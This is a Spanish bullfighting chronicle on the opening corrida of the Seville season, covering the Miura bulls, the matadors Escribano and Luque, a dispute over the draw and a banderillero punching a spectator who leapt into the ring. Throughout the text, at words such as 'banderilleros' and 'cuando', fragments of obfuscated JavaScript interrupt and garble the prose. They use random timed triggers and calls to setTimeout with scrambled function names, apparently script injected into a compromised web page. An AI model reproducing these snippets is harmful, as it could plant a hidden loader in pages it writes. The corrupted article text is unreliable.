UNA DOBLE MIRADA

Arrancó la temporada sevillana desde la perspectiva de una doble mirada, como de cara y cruz. Veamos: hubo más público del que se esperaba, pero las calvas en los tendidos y las gradas de sombra hablan de un aumento en la sangría de abonos. La corrida no sirvió a los toreros, pero éstos tampoco sirvieron a la corrida.

El pundonor de Escribano quedó fuera de dudas, mas también su vulgaridad. La confianza de Luque refulgió en sus aceros; sus dudas, en capote y muleta. Valor en Escribano para recibir a todos sus toros a portagayola, pero la desconfianza le fue creciendo hasta acabar ganándole la partida. Peor lo pasó Luque, que cambió la plata de un quite a la verónica, por los trallazos y el toreo de manos altas de quien más que poder se ve podido.  Las tres  primeras faenas se empezaron sin probaturas en los medios como prueba de decisión y buena voluntad, pero en todas se puso en evidencia la inconveniencia de este proceder con los miuras.

Sin embargo, la cara y la cruz más llamativas tuvieron su desarrollo al margen de la lidia y asociadas a dos bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilleros apellidados Neiro. La primera ocurre a la hora del sorteo: Abraham –que va acuadrillado con Luque– se ve obligado a salir en defensa de la dignidad y profesionalidad de los toreros ante una arbitrariedad de don Gabriel Fernández, presidente de la corrida, que unilateralmente y sin consultar con nadie ha decidido dejar de sobrero el miura –“Pagano”, cárdeno, número 68– que a todas las cuadrillas gustaba.

Ante la negativa presidencial de cambiar de actitud, Neiro se planta y se niega a sortear mientras “Pagano” no figure en un lote. La cosa se caldea y sólo el arbitraje de Simón Casas, que da la razón al bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero, pero cree que el ambiente no está como para echar más leña al fuego, consigue que el sorteo se lleve a cabo como quería el autoritarismo de don Gabriel.

La segunda acontece en el ruedo cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, tras el tercio de bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillas del tercer toro, se tira un espontáneo, ya talludito y con una chamarra a guisa de muleta, que muestra escasísimas ganas de llegar al toro, pero que se resiste a ser cogido por los bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilleros. Entonces, lo que en otros tiempos –cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los espontáneos eran más frecuentes– se hubiese resuelto con algún forcejeo, ahora da paso a un lamentable espectáculo en el que los peones se van a por el desgraciado como si de un peligroso terrorista se tratase y le acometen mientras que José Miguel Neiro se lía a pegarle puñetazos en la cara. Lance bochornoso que, aunque sólo fuera por respeto al traje de luces, deberían los bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilleros cuidarse muy mucho de repetir, pues un torero jamás debe convertirse en un despreciable matón de taberna.

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